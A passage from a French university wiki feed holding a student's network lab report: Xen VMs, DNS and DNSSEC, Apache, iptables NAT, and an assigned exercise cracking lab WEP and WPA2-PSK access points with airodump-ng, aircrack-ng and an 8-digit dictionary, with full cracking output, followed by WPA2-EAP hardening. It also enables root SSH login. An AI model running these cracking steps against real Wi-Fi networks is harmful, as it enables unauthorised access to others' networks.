&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 4 : ====&lt;br /&gt;
PHRASE MANQUANTE&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.Manjaro.cfg&lt;br /&gt;
xen create /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
xen create /etc/xen/SE4.LinusTorvalds.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On vérifie la liste des machines lancées via : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Nos résultats : =====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Name                                        ID   Mem VCPUs    State    Time(s)&lt;br /&gt;
SE4.CachyOS                                 83  2048     1     -b----       5.6&lt;br /&gt;
SE4.Manjaro                                 85  2048     1     -b----       5.8&lt;br /&gt;
SE4.LinusTorvalds                           87  2048     1     -b----       5.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 5 : Partition ====&lt;br /&gt;
&lt;br /&gt;
===== Sur capbreton =====&lt;br /&gt;
&lt;br /&gt;
On partionne avec cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.CachyOS.var -L 10G virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On éteint notre machine : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown SE4.CachyOS&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Et on modifie :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vim /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et on ajoute ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
disk = [&lt;br /&gt;
            [...],&lt;br /&gt;
            'phy:/dev/virtual/SE4.CachyOS.home,xvda3,w',&lt;br /&gt;
            'phy:/dev/virtual/SE4.CachyOS.var,xvdb1,w'&lt;br /&gt;
        ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Sur la machine mandataire =====&lt;br /&gt;
&lt;br /&gt;
Nous ajoutons les partitions dans '''''/etc/fstab''''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvda3 /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous formatons les partitions avant de les utiliser : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous copions le contenu de '''/var''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount /dev/xvda3 /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous montons ensuite automatiquement les partitions définies dans '''/etc/fstab''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== De nouveaux sur capbreton =====&lt;br /&gt;
On redémarre notre machine : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite on se connecte à notre VM via :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.CachyOS&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Machines de Service - CachyOS &amp;amp; Manjaro =====&lt;br /&gt;
Dans notre VM :&lt;br /&gt;
&lt;br /&gt;
On modifie  :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vim /etc/network/interfaces&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Et on ajoute ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.10.3/24&lt;br /&gt;
    gateway 192.168.10.1&lt;br /&gt;
&lt;br /&gt;
# Pour l'ipv6&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* 172.60.0.3 est l'adresse IPV4 de la VM CachyOS&lt;br /&gt;
&lt;br /&gt;
===== Machine Mandataire - LinusTorvalds =====&lt;br /&gt;
La machine mandataire agit comme passerelle IPv4 pour les machines de services. Voici sa configuration réseau :&lt;br /&gt;
&lt;br /&gt;
La machine mandataire va posséder trois adresses. Une adresse IPv6 routée, une adresse IPv4 routée et une adresse IPv4 pour le réseau privé avec ces deux machines de services. Pour ce faire, nous devons au préalable configurer une nouvelle interface eth1 pour y intégrer la seconde adresse IPv4.&lt;br /&gt;
&lt;br /&gt;
Sur capbreton, depuis &amp;lt;code&amp;gt;/etc/xen/SE4.CachyOS.cfg :&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vif = [[...], 'mac=00:16:3E:8B:45:ED,bridge=SE4']&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour l'adresse mac on prend celui existant et on fait +1.&lt;br /&gt;
&lt;br /&gt;
Depuis &amp;lt;code&amp;gt;/etc/resolv.conf &amp;lt;/code&amp;gt;:&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
nameserver 8.8.8.8&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== SSH  476  ssh   -oKexAlgorithms=+diffie-hellman-group14-sha1   -oHostKeyAlgorithms=+ssh-rsa    -oCiphers=+aes128-cbc   admin@172.27.0.3 ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt upgrade&lt;br /&gt;
&lt;br /&gt;
apt install ssh&lt;br /&gt;
apt install bind9&lt;br /&gt;
apt install apache2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;(Dans TOUTES les VMs)&lt;br /&gt;
&lt;br /&gt;
On active le SSH en ajoutant dans &amp;lt;code&amp;gt;/etc/ssh/sshd_config&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
PermitRootLogin yes&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour redemarrer le service ssh :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/etc/init.d/ssh restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour la machine mandataire, ensuite après avoir reboot on peut faire dans nos machines de services :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.10.0/24&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt; &lt;br /&gt;
&lt;br /&gt;
==== Mascarade ====&lt;br /&gt;
Sur la mandataire : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.10.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et on décommente cette ligne dans &amp;lt;code&amp;gt;/etc/sysctl.conf&amp;lt;/code&amp;gt; : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et maintenant nous pouvons nous connecter à notre machine de service en ssh : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
#IPV4&lt;br /&gt;
ssh root@193.48.57.166 -p 2202&lt;br /&gt;
# IPV6&lt;br /&gt;
ssh root@2001:660:4401:60a0:216:3eff:fe8b:45ed&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== DNS ====&lt;br /&gt;
Tout d'abord, il faut modifier &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt; : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
zone &amp;quot;archlinuxbtw.lol&amp;quot; {&lt;br /&gt;
	type master;&lt;br /&gt;
	file &amp;quot;/etc/bind/myZones/db.archlinuxbtw.lol&amp;quot;;&lt;br /&gt;
	allow-transfer{secondaries;};&lt;br /&gt;
	notify yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot;{&lt;br /&gt;
	192.168.10.2;&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fe36:79d9;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;archlinux.lol&amp;quot; {&lt;br /&gt;
	type secondary;&lt;br /&gt;
	file &amp;quot;/etc/bind/backup/db.archlinux.lol&amp;quot;;&lt;br /&gt;
	primaries{2001:660:4401:60a0:216:3eff:fe36:79d9;};&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;J'ai ensuite créée un dossier myZones puis j'ai créer db.archlinuxbtw.lol et j'y ai ajouter :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.archlinuxbtw.lol admin.archlinuxbtw.lol (&lt;br /&gt;
          3609     ; Numero de version&lt;br /&gt;
          21600     ; Rafraichissement (6h)&lt;br /&gt;
           3600     ; Re-tentative (1h)&lt;br /&gt;
        2592000     ; Expiration (30j)&lt;br /&gt;
         86400     ; Cache negatif (24h)&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
	IN	NS	ns.archlinuxbtw.lol.&lt;br /&gt;
	IN	NS	ns.archlinux.lol.&lt;br /&gt;
@	IN	A	193.48.57.166&lt;br /&gt;
@	IN	AAAA	2001:660:4401:60a0:216:3eff:fe8b:45ed&lt;br /&gt;
ns	IN	A	193.48.57.166&lt;br /&gt;
ns	IN	AAAA	2001:660:4401:60a0:216:3eff:fe8b:45ed&lt;br /&gt;
&lt;br /&gt;
www IN CNAME archlinuxbtw.lol&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ensuite on restart le service via : &amp;lt;code&amp;gt;service named restart&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création d'une clé&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout archlinuxbtw.lol.key -out archlinuxbtw.csr&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
[[Fichier:DNS Check.png|centré|vignette|452x452px|DNS Checker ]]&lt;br /&gt;
Notre DNS est bien reconnu et la commande  &amp;lt;code&amp;gt;dig @8.8.8.8 archlinuxbtw.lol&amp;lt;/code&amp;gt; c'est grâce au Glue records.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Génération des clés&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Changement nom machine &amp;lt;code&amp;gt;nano /etc/hostname : CachyOS&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et dans /etc/hosts:&lt;br /&gt;
&lt;br /&gt;
127.0.1.1    archlinuxbtw.lol SE4.CachyOS&lt;br /&gt;
&lt;br /&gt;
==== DNSSEC ====&lt;br /&gt;
Afin de protéger notre DNS contre des possibles attaques nous utiliserons DNSSEC. Ici nous utiliserons la politique DNSSEC : &amp;lt;code&amp;gt;&amp;quot;dnspol&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
Ensuite on crée le dossier keys et on donne les droits a bind d'écrire dedans avec :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkdir /etc/bind/keys &lt;br /&gt;
chown bind:bind /etc/bind/keys &lt;br /&gt;
chmod 750 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour ce faire, dans &amp;lt;code&amp;gt;named.conf.local&amp;lt;/code&amp;gt; il faut rajouter les 3 lignes à partir de &amp;quot;key-directory&amp;quot; :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
  key-directory &amp;quot;/etc/bind/keys&amp;quot;;&lt;br /&gt;
  dnssec-policy &amp;quot;dnspol&amp;quot;;   // DNSSEC automatique&lt;br /&gt;
  inline-signing yes;&lt;br /&gt;
  &lt;br /&gt;
  [...]&lt;br /&gt;
  &lt;br /&gt;
  dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
   keys {&lt;br /&gt;
       ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
       zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
   };&lt;br /&gt;
   nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour l'activer, il faut restart bind9 avec &amp;lt;code&amp;gt;systemctl restart bind9&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il ne reste qu'à ajouter la clé KSK sur Gandi et ensite on peut voir s'il fonctionne bien grace au site suivant : &amp;lt;nowiki&amp;gt;https://dnsviz.net&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
[[Fichier:DNSSec.png|centré|vignette|DNSSec]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Et on peut voir que nos clefs on bien été générer : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@CachyOS:/etc/bind# ls keys/&lt;br /&gt;
Karchlinuxbtw.lol.+013+24458.key      Karchlinuxbtw.lol.+013+56682.key&lt;br /&gt;
Karchlinuxbtw.lol.+013+24458.private  Karchlinuxbtw.lol.+013+56682.private&lt;br /&gt;
Karchlinuxbtw.lol.+013+24458.state    Karchlinuxbtw.lol.+013+56682.state&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Apache ====&lt;br /&gt;
Dans ce repertoire &amp;lt;code&amp;gt;/etc/apache2/sites-availab&amp;lt;/code&amp;gt;le  : touch archlinuxbtw.lol.conf &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Je genere un crt via la commande : &lt;br /&gt;
&lt;br /&gt;
openssl x509 -req -days 365 -in archlinuxbtw.csr -signkey archlinuxb&lt;br /&gt;
&lt;br /&gt;
tw.lol.key -out archlinuxbtw.lol.crt&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Et je deplace mes fichiers dans : &lt;br /&gt;
&lt;br /&gt;
root@CachyOS:~# mv archlinuxbtw.lol.crt /etc/ssl/certs/ &lt;br /&gt;
&lt;br /&gt;
root@CachyOS:~# mv archlinuxbtw.lol.key /etc/ssl/private/ &lt;br /&gt;
&lt;br /&gt;
root@CachyOS:~# chmod 600 /etc/ssl/private/archlinuxbtw.lol.key&lt;br /&gt;
&lt;br /&gt;
Pour arreter le service par defaut : a2dissite 000-default.conf &lt;br /&gt;
&lt;br /&gt;
Et on verifie avec la commande :  apache2ctl -S&lt;br /&gt;
&lt;br /&gt;
Iptable pour atteindres les ports https : &amp;lt;code&amp;gt;# HTTP iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168.10.3:80 # HTTPS iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination 192.168.10.3:443 iptables-save&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
iptables -A FORWARD -p tcp -d 192.168.10.3 --dport 80 -j ACCEPT&lt;br /&gt;
&lt;br /&gt;
iptables -A FORWARD -p tcp -d 192.168.10.3 --dport 443 -j ACCEPT&lt;br /&gt;
==== Effraction WiFi ====&lt;br /&gt;
&lt;br /&gt;
===== Cassage WEP =====&lt;br /&gt;
Il faut tout faire sur la zabeth13 comme on avait tester sur 4 machines dans la semaine avec mon binome les cartes réseaux des autres machines ne marchent pas. &lt;br /&gt;
&lt;br /&gt;
Avec ip link je vois que l'interface wifi se nomme &amp;lt;code&amp;gt;wlx40a5ef0f679b&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
On peut alors recuperer le bssid de notre réseau wifi a crack. Je suis le numéro 5 donc je dois crack la cracotte05 : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo airodump-ng wlx40a5ef0f679b&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Je recupere :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;BSSID              PWR  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;04:DA:D2:9C:50:54  -63       27        5    0   4   54e. WEP  WEP         cracotte05&amp;lt;/code&amp;gt;   &lt;br /&gt;
&lt;br /&gt;
Je peux alors dump correctement en filtrant seulement le bon bssid et le bon channel via cette commande : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo airodump-ng wlx40a5ef0f679b --write airodump --bssid 04:DA:D2:9C:50:54 -c4&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et en parallele on lance ceci jusqu'a ce que la clef soit trouvé :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;aircrack-ng airodump-01.cap&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
                                                                                     Aircrack-ng 1.7 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                                                                       [00:26:11] Tested 835 keys (got 68980 IVs)&lt;br /&gt;
                                                                                Got 70001 out of 70000 IVsStarting PTW attack with 70001 ivs.&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 13   FF(97024) A3(79616) D9(79360) C5(78848) 3A(78592) E3(78592) 29(78336) D1(78336) E9(78080) 7C(77568) DF(77568) 34(76800) 85(76800) D8(76544) 24(76032) &lt;br /&gt;
    1    0/  1   CA(108544) CB(80128) B5(79104) EB(78336) 10(77824) A8(77312) E5(76800) F8(76800) E7(76544) EE(76544) 27(76288) 4C(76288) 68(76288) CC(76288) E6(76288) &lt;br /&gt;
    2    2/  2   A4(80128) 3A(78336) 14(76800) 5A(76544) D2(76544) 98(76032) 08(75776) 1D(75776) 40(75776) 99(75776) E4(75776) F2(75776) CD(75520) F7(75520) 56(75008) &lt;br /&gt;
    3    0/  1   D1(100608) 89(79872) 22(77568) 11(77056) A0(77056) 9E(76800) B0(76800) 98(76544) A9(76544) 5A(76032) AB(76032) CD(76032) 9A(75776) 4D(75520) 51(75264) &lt;br /&gt;
    4    7/  4   43(77312) 4E(76800) 0F(76544) 29(76544) BA(76544) 3E(76032) 61(75776) A6(75776) C6(75776) 89(75264) 21(75008) 5A(75008) 65(75008) C8(75008) DD(75008) &lt;br /&gt;
&lt;br /&gt;
             KEY FOUND! [ FF:FF:FF:FF:FA:BC:06:CB:AE:EE:EE:EE:EE ] &lt;br /&gt;
	Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Cassage WPA-PKS =====&lt;br /&gt;
Ce script python permet de creer un dictionnaire :&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
with open(&amp;quot;dictionnaire_8_chiffres.txt&amp;quot;, &amp;quot;w&amp;quot;) as f:&lt;br /&gt;
    for i in range(100000000):  # Pour générer des nombres de 00000000 à 99999999&lt;br /&gt;
        f.write(f&amp;quot;{i:08d}\n&amp;quot;)  # Écrit le nombre avec 8 chiffres&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ou alors avec crunch :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;crunch 8 8 0123456789 -o dictionnaire_8_chiffres.txt&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite après execution nous pouvons recuperer le fichier .txt créer.&lt;br /&gt;
&lt;br /&gt;
On récuperer le dump comme precedemment pour cette borne pour mon cas :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;BSSID              PWR  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;44:AD:D9:5F:87:04  -43        3        5    2  13   54e. WPA2 CCMP   PSK  kracotte05&amp;lt;/code&amp;gt;  &lt;br /&gt;
&lt;br /&gt;
Je peux alors dump correctement en filtrant seulement le bon bssid et le bon channel via cette commande :&amp;lt;code&amp;gt;sudo airodump-ng wlx40a5ef0f679b --write airodumpWPA --bssid 44:AD:D9:5F:87:04 -c13&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et ensuite après avoir récuperer 1 data minimum :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;aircrack-ng airodump-01.cap&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Et enfin on attend (c'est long si vous vous demander... tres looong faite la suite en attendant :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
                               Aircrack-ng 1.7 &lt;br /&gt;
&lt;br /&gt;
      [00:35:36] 66631280/100000000 keys tested (30842.35 k/s) &lt;br /&gt;
&lt;br /&gt;
      Time left: 18 minutes, 1 second                           66.63%&lt;br /&gt;
&lt;br /&gt;
                           KEY FOUND! [ 66685666 ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
      Master Key     : EF 69 DE 33 B4 7F AA 9E 20 AB 3C AF F1 F7 3E A8 &lt;br /&gt;
                       61 7C 80 F2 3C A9 FE B6 9A 72 98 B3 20 B3 2A A6 &lt;br /&gt;
&lt;br /&gt;
      Transient Key  : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
      EAPOL HMAC     : AD 95 F2 4D 5A 3F 4A 57 CD D8 0E EA A6 14 8B 1A &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Sécurisation WiFi par WPA2-EAP ====&lt;br /&gt;
Depuis notre machine de service on va se connecter sur notre borne wifi, ici on prend l'IP de la E304 :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;ssh -oKexAlgorithms=+diffie-hellman-group11-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.4&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
conf t&lt;br /&gt;
&lt;br /&gt;
aaa new-model&lt;br /&gt;
aaa authentication login eap_student5 group radius_student5&lt;br /&gt;
radius-server host 192.168.10.3 auth-port 1812 acct-port 1813 key secret_student5        &lt;br /&gt;
aaa group server radius radius_student5                      &lt;br /&gt;
server 192.168.10.3 auth-port 1812 acct-port 1813        &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
dot11 ssid VM_SERVICES_5       &lt;br /&gt;
vlan 15         &lt;br /&gt;
authentication open eap eap_student5 &lt;br /&gt;
authentication network-eap eap_student5&lt;br /&gt;
authentication key-management wpa&lt;br /&gt;
mbssid guest-mode&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
encryption vlan 15 mode ciphers aes-ccm                  &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0.15&lt;br /&gt;
encapsulation dot1Q 15&lt;br /&gt;
bridge-group 15&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface GigabitEthernet0.15&lt;br /&gt;
encapsulation dot1Q 15&lt;br /&gt;
bridge-group 15&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
et l'IP de la E305 :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.3&amp;lt;/code&amp;gt; &lt;br /&gt;
&lt;br /&gt;
=== Utiles ===&lt;br /&gt;
&lt;br /&gt;
=== XEN ===&lt;br /&gt;
''&amp;lt;u&amp;gt;Liste des VMs allumées :&amp;lt;/u&amp;gt;'' &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;Se connecter à la VM :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console &amp;lt;nomMachine&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds&lt;br /&gt;
''&amp;lt;u&amp;gt;Sortir de la console xen :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Ctrl + Shift + 5&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;''&amp;lt;u&amp;gt;Eteindre une VM :&amp;lt;/u&amp;gt;'' &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown &amp;lt;nomMachine&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;Allumer une VM :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/&amp;lt;nomMachine&amp;gt;.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Cpayet</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E5&amp;diff=12169</id>
		<title>Atelier SysRes SE4 2025/2026 E5</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E5&amp;diff=12169"/>
		<updated>2026-02-10T15:37:47Z</updated>

		<summary type="html">&lt;p&gt;Cpayet : /* Sécurisation WiFi par WPA2-EAP */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Compte rendu des commandes effectués ===&lt;br /&gt;
&lt;br /&gt;
==== Etape 1 : Connexion SSH ====&lt;br /&gt;
ssh root@capbreton&lt;br /&gt;
&lt;br /&gt;
Mot de passe :  &lt;br /&gt;
&lt;br /&gt;
